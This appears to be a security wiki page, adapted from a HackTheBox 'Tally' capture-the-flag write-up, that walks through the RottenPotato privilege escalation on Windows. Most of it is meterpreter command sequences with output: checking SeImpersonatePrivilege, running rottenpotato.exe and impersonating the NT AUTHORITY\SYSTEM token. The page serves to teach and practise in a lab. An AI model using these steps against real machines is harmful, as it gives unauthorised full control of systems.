86 lines
2.6 KiB
Markdown
86 lines
2.6 KiB
Markdown
# RottenPotato
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The info in this page info was extracted [from this post](https://www.absolomb.com/2018-05-04-HackTheBox-Tally/)
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Service accounts usually have special privileges \(SeImpersonatePrivileges\) and this could be used to escalate privileges.
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[https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)
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I won’t go into the details on how this exploit works, the article above explains it far better than I ever could.
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Let’s check our privileges with meterpreter:
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```text
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meterpreter > getprivs
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Enabled Process Privileges
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==========================
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Name
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----
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SeAssignPrimaryTokenPrivilege
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SeChangeNotifyPrivilege
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SeCreateGlobalPrivilege
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SeImpersonatePrivilege
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SeIncreaseQuotaPrivilege
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SeIncreaseWorkingSetPrivilege
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```
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Excellent, it looks like we have the privileges we need to perform the attack. Let’s upload `rottenpotato.exe`
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Back on our meterpreter session we load the `incognito` extension.
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```text
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meterpreter > use incognito
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Loading extension incognito...Success.
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meterpreter > list_tokens -u
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[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
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Call rev2self if primary process token is SYSTEM
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Delegation Tokens Available
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========================================
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NT SERVICE\SQLSERVERAGENT
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NT SERVICE\SQLTELEMETRY
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TALLY\Sarah
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Impersonation Tokens Available
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========================================
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No tokens available
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```
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We can see we currently have no Impersonation Tokens. Let’s run the Rotten Potato exploit.
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```text
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meterpreter > execute -f rottenpotato.exe -Hc
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Process 3104 created.
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Channel 2 created.
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meterpreter > list_tokens -u
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[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
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Call rev2self if primary process token is SYSTEM
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Delegation Tokens Available
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========================================
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NT SERVICE\SQLSERVERAGENT
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NT SERVICE\SQLTELEMETRY
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TALLY\Sarah
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Impersonation Tokens Available
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========================================
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NT AUTHORITY\SYSTEM
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```
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We need to quickly impersonate the token or it will disappear.
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```text
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meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
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[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
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Call rev2self if primary process token is SYSTEM
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[-] No delegation token available
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[+] Successfully impersonated user NT AUTHORITY\SYSTEM
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meterpreter > getuid
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Server username: NT AUTHORITY\SYSTEM
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```
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Success! We have our SYSTEM shell and can grab the root.txt file!
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